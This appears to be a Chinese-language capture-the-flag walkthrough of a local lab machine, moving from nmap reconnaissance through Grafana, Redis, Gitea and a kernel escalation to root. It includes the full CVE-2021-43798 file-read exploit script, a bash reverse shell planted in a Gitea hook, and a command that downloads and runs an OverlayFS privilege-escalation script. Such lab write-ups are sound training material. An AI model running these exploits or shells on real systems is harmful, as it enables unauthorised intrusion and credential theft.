-
将两台虚拟机网络连接都改为NAT模式
-
攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.130

-
扫描服务器开放了哪些端口,有什么服务
nmap -sV -T4 -p- -A 192.168.23.130

分析 nmap 扫描结果可以发现:
- 22/tcp - SSH (OpenSSH 8.9p1 Ubuntu)
- 服务: 标准远程管理接口。
- 分析: 弱口令/密钥泄露: 考虑到后面有 Jenkins 和 Gitea,红队应重点通过其他服务的源码泄露或配置错误寻找
.ssh/id_rsa密钥。
-
- 指纹信息:
Ubuntu 3ubuntu0.14确认为较新的 Ubuntu 系统(可能是 22.04 LTS),直接利用系统级漏洞的可能性较低。 - 红队路径: 后期通过其他服务获取 WebShell 后,再以此为跳板或持久化手段。
- 指纹信息:
- 80/tcp & 443/tcp - HTTP/HTTPS (Nginx 1.18.0)
- 服务: 反向代理/入口负载均衡。
- 分析:
-
- 重定向: 80 强制跳转 443。
- 证书信息:
commonName=nexus.local。这是一个关键情报,暗示了内部可能存在一个 Nexus 仓库管理器(通常用于存储镜像、Jar 包、Npm 包等)。 - 域名关联: 攻击者应修改本地
/etc/hosts,将nexus.local指向该 IP,可能会触发不同的虚拟主机配置。 - 标题: "Kyubi Source Control",结合端口 3000,确认该服务器运行着源码管理系统。
- 3000/tcp - Gitea (Kyubi Source Control)
- 服务: 类似于 GitHub 的开源 Git 托管平台(Gitea 的特征:
gitea_sessionCookie)。 - 分析:
-
- 源码泄露: 这是红队的"金矿"。通过注册或尝试匿名访问,寻找数据库凭据、API 密钥、容器配置。
- 已知漏洞: Gitea 历史上有过多个 RCE 和鉴权绕过。需通过
v1/version(如果可用)获取具体版本号。 - 供应链攻击: 检查是否有正在构建的项目,修改 CI 配置(如
.gitea/workflows)可直接在构建服务器上执行代码。
- 3001/tcp - Grafana (Monitoring GUI)
- 服务: 监控可视化平台。
- 分析:
-
- 默认凭据: 尝试
admin/admin。 - 信息探测: Grafana 经常连接到底层的 Prometheus 或数据库,可以利用数据源测试功能泄露内部网络拓扑或配置信息。
- 漏洞利用: 如果版本较低(如 < 8.3.1),可能存在目录穿越漏洞(CVE-2021-43798)直接读取系统文件。
- 默认凭据: 尝试
- 6379/tcp - Redis
- 服务: 内存数据库。
- 分析:
-
- 未授权访问/弱密码: 这是高危点。如果未授权,可以利用
CONFIG SET写入 SSH 公钥到/root/.ssh/authorized_keys或写入计划任务(Crontab)获取反弹 Shell。 - 敏感数据: 检查其中缓存的 Session 信息或 Gitea 的配置缓存。
- 未授权访问/弱密码: 这是高危点。如果未授权,可以利用
- 9090/tcp - Prometheus Node Exporter
- 服务: 系统级指标收集。
- 分析:
-
- 侦察价值:
/metrics接口会泄露主机的详细信息,包括:
- 侦察价值:
-
-
- 运行的进程列表。
- 磁盘挂载点(寻找敏感挂载)。
- CPU 核心数、内存使用情况(评估资源利用率,防止暴力破解时系统崩溃)。
- 网络连接状态,帮助发现内网中其他的 IP。
-
- 45177/tcp - Jenkins (httpd 2.387.3)
- 服务: 自动化服务器(CI/CD 核心)。
- 分析:
-
- 高危核心: 端口号非常规(45177),通常意味着它是作为 Docker 容器映射出的或是为了躲避扫描。
- 攻击向量: 未授权访问/弱口令: 一旦进入后台,可通过 "Script Console" (Groovy 脚本) 直接在宿主机执行系统命令。
-
-
- 凭据存储: Jenkins 经常存储了部署所需的 SSH 密钥、AWS 密钥、数据库口令,是获取进一步权限的关键。
- CVE-2024-23897: 如果版本处于受影响范围,可通过 CLI 漏洞读取服务器文件。
-
- 访问暴露面最多的 web 服务

封面显示和 gitea 有关,查看 api 下泄露版本的页面
http://192.168.23.130:3000/api/v1/version

whatweb 扫描出来一些指纹特征
whatweb -v http://192.168.23.130

-
扫描网站子目录
gobuster dir -e -u http://192.168.23.130:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

有传参点
http://192.168.23.130:3000/alice?tab=activity

fuzz 探测一下
ffuf -c -u "http://192.168.23.130:3000/Alice?tab=FUZZ"
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-fs 1234

没什么有用发现
- 再看 3001 端口的 web 服务

扫描这个网站指纹
whatweb -v http://192.168.23.130:3001/login
https://github.com/grafana/grafana
开放且可组合的可观测性和数据可视化平台

在漏洞数据库检索相关漏洞

查找路径穿越漏洞能够读取敏感文件,导出攻击脚本
searchsploit -m 50581.py

# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import argparse
import sys
from random import choice
plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"logs",
"loki",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]
def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }
while True:
file_to_read = input('Read file > ')
try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)
if 'Plugin file not found' in r.text:
print('[-] File not found\n')
else:
if r.status_code == 200:
print(r.text)
else:
print('[-] Something went wrong.')
return
except requests.exceptions.ConnectTimeout:
print('[-] Request timed out. Please check your host settings.\n')
return
except Exception:
pass
def main():
parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
parser.add_argument('-H',dest='host',required=True, help="Target host")
args = parser.parse_args()
try:
exploit(args)
except KeyboardInterrupt:
return
if __name__ == '__main__':
main()
sys.exit(0)
存在两个攻击语句
python3 50581.py -H http://192.168.23.130:3001
Read file > /etc/passwd
curl -s --path-as-is http://192.168.23.130:3001/public/plugins/mysql/../../../../../../../../etc/passwd

- 尝试读取更多敏感信息,例如 Grafana 核心凭据(金矿)
- /var/lib/grafana/grafana.db:
-
- 重要性:这是 Grafana 的 SQLite 数据库。
- 利用 :下载后使用
sqlite3查看。里面包含:
-
-
- 用户哈希:可以离线破解。
- 数据源(Data Sources)密码:Grafana 连接的 Prometheus、MySQL、PostgreSQL 的明文或可解密密码。
- Session 条目:可能直接提取到管理员的有效 Session。
-
- /etc/grafana/grafana.ini:
-
- 查看
secret_key。有了这个 Key,你可以伪造管理员的 Session Cookie。
- 查看

顺利得到 redis 的密码R3d1sS3cur3P@ss2026
-
尝试拿获取的密码连接 redis
redis-cli -h 192.168.23.130
AUTH R3d1sS3cur3P@ss2026

再使用命令读取数据库里面所有的 key
keys *

列表中特别注意到序号 32 名为 deploy:credentials的key。从名称可以看出,这里可能保存了在部署过程
中使用的凭证。那么可以使用命令获取找到的密钥中的信息
GET deploy:credentials
Redis 服务端返回了JSON格式的数据,由此得到 gitea 的账号密码:gitadmin\G1tAdm1n2025!

- 成功登录到 3000 端口的 gitea 服务

由此获得了对源代码管理平台的完全访问权限。用户的仪表板页面可以看到与账户相关的一些仓库nexus-platform和deployment-configs

在这些仓库中通常可能存储着部署脚本、凭证或配置文件,需要详细检查当中内容。
- 利用 Git Hooks 是 Gitea 中获取 Shell 的"官方"路径。Gitea 允许管理员为仓库配置 Git Hooks (如
pre-receive、update、post-receive),这些钩子本质上是在服务器上运行的脚本。
- 前提条件: 拥有管理员账号,且配置文件
app.ini中没有禁用DISABLE_GIT_HOOKS(默认通常是开启的)。 - 操作步骤:
-
- 进入任意一个仓库的 "设置" (Settings) -> "管理 Git 钩子" (Git Hooks)。
- 编辑
post-receive钩子。http://192.168.23.130:3000/gitadmin/nexus-platform/settings/hooks/git/post-receive - 编程 Bash 反弹 shell 命令
bash -i >& /dev/tcp/192.168.23.128/4444 0>&1

-
- 在Hook保存后,会在post-receive部分出现一个活动指示器。这表示Hook处于活动状态

-
- 为此让hook生效,需要在仓库中提交新commit。因为post-receive hook 通常在push或 commit发生时触发。随便修改一个文件并
git push。
- 为此让hook生效,需要在仓库中提交新commit。因为post-receive hook 通常在push或 commit发生时触发。随便修改一个文件并

-
- 为了触发Hook,在仓库中通过Add File→New File创建了一个新文件。文件命名为test,并在其中写入了普通的测试文本。目标是生成新的commit。因为正是这个commit过程会触发hook

-
- 文件创建后点击了" Commit Changes"。这会在该仓库中创建新的提交,并在Git服务器上触发hook。
- 触发: 当 操作完成时,服务器会执行
post-receive脚本,你将获得一个git用户权限的 Shell。
-
注意 kali 开启对 4444 端口的监听
nc -lvvp 4444

成功 getshell。信息收集三件套
id
uname -a
lsb_release -a

查找得到用户 flag
ls /home
cd /home/developer
ls
cat user.txt
9e88f7434e40990c1aec3e6a4251dadd

- 然后尝试提权操作。
Linux kyubi 5.15.0-171-generic #181-Ubuntu,这是一个典型的 Ubuntu 22.04 LTS (Jammy Jellyfish) 环境。
CVE-2023-2640 & CVE-2023-32629
- 描述: Ubuntu 针对 OverlayFS 模块引入了一些非标准的修改(为了支持某些权限特性),导致在特定操作下可以跳过权限检查,将具有敏感能力的权限文件(如具有 SUID 的 shell)拷贝到普通目录。
- 利用: 这种漏洞通常通过简单的 shell 脚本即可实现,不需要复杂的二进制 Payload。
直接从网上下载相关 exp,然后给权限执行
wget -q https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
chmod +x exploit.sh
./exploit.sh
/var/tmp/bash -p

成功得到 flag
e79950c85e8509ebf0c644bbbb750bbe
